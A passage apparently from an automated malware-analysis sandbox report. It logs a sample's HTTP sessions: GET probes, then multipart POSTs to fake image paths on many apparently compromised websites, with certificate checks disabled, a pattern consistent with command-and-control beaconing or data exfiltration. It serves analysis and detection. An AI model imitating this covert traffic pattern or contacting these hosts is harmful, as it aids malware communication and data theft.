HTTP Session #14
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.perfectfunnelblueprint.com
Server Port 80
Data Sent 291
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.perfectfunnelblueprint.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = wp-content/graphic/herumeamzu.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.perfectfunnelblueprint.com/wp-content/graphic/herumeamzu.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #15
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.wash-wear.com
Server Port 80
Data Sent 231
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.wash-wear.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.wash-wear.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #16
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.wash-wear.com
Server Port 80
Data Sent 253
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.wash-wear.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/image/eske.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.wash-wear.com/static/image/eske.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #17
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name pp-panda74.ru
Server Port 80
Data Sent 223
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = pp-panda74.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = pp-panda74.ru/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #18
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name pp-panda74.ru
Server Port 80
Data Sent 245
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = pp-panda74.ru, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/pics/seim.gif, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = pp-panda74.ru/uploads/pics/seim.gif True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #19
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name cevent.net
Server Port 80
Data Sent 217
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = cevent.net, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = cevent.net/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #20
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name cevent.net
Server Port 80
Data Sent 240
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = cevent.net, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = uploads/tmp/semeso.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = cevent.net/uploads/tmp/semeso.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #21
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name bellytobabyphotographyseattle.com
Server Port 80
Data Sent 263
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = bellytobabyphotographyseattle.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = bellytobabyphotographyseattle.com/ False 1
Fn
HTTP Session #22
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name bellytobabyphotographyseattle.com
Server Port 80
Data Sent 285
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = bellytobabyphotographyseattle.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = data/graphic/kees.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = bellytobabyphotographyseattle.com/data/graphic/kees.png False 1
Fn
Close Session - True 71
Fn
HTTP Session #23
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name alem.be
Server Port 80
Data Sent 211
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = alem.be, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = alem.be/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #24
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name alem.be
Server Port 80
Data Sent 233
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = alem.be, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/graphic/zuru.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = alem.be/news/graphic/zuru.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #25
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name boatshowradio.com
Server Port 80
Data Sent 231
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = boatshowradio.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = boatshowradio.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #26
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name boatshowradio.com
Server Port 80
Data Sent 250
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = boatshowradio.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = data/pics/eshe.jpg, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = boatshowradio.com/data/pics/eshe.jpg True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #27
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name dna-cp.com
Server Port 80
Data Sent 217
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = dna-cp.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = dna-cp.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #28
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name dna-cp.com
Server Port 443
Data Sent 239
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = dna-cp.com, server_port = 443 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = news/image/ththda.gif, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_SECURE, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = dna-cp.com/news/image/ththda.gif True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #29
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name acbt.fr
Server Port 80
Data Sent 211
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = acbt.fr, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = acbt.fr/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #30
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name acbt.fr
Server Port 443
Data Sent 240
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = acbt.fr, server_port = 443 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = includes/images/furuthhe.png, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_SECURE, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = acbt.fr/includes/images/furuthhe.png True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #31
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name wpakademi.com
Server Port 80
Data Sent 223
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = wpakademi.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = wpakademi.com/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #32
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name wpakademi.com
Server Port 80
Data Sent 251
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = wpakademi.com, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = content/images/zumomeka.bmp, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = wpakademi.com/content/images/zumomeka.bmp True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #33
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.cakav.hu
Server Port 80
Data Sent 221
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.cakav.hu, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.cakav.hu/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #34
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.cakav.hu
Server Port 80
Data Sent 241
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.cakav.hu, server_port = 80 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP/1.1, target_resource = static/tmp/esam.bmp, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data, url = www.cakav.hu/static/tmp/esam.bmp True 1
Fn
Data
Close Session - True 71
Fn
HTTP Session #35
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.mimid.cz
Server Port 80
Data Sent 221
Data Received 3
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.mimid.cz, server_port = 80 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP/1.1, target_resource = /, accept_types = 0, flags = INTERNET_FLAG_PRAGMA_NOCACHE, INTERNET_FLAG_NO_UI, INTERNET_FLAG_HYPERLINK, INTERNET_FLAG_IGNORE_CERT_CN_INVALID, INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP, INTERNET_FLAG_NO_AUTH, INTERNET_FLAG_NO_AUTO_REDIRECT, INTERNET_FLAG_NO_CACHE_WRITE, INTERNET_FLAG_RELOAD True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = www.mimid.cz/ True 1
Fn
Query HTTP Info flags = HTTP_QUERY_STATUS_CODE, size_out = 3 True 1
Fn
Data
HTTP Session #36
»
Information Value
User Agent Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Server Name www.mimid.cz
Server Port 80
Data Sent 247
Data Received 0
Operation Additional Information Success Count Logfile
Open Session user_agent = Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = www.mimid.cz, server_port = 80 True 1
Fn
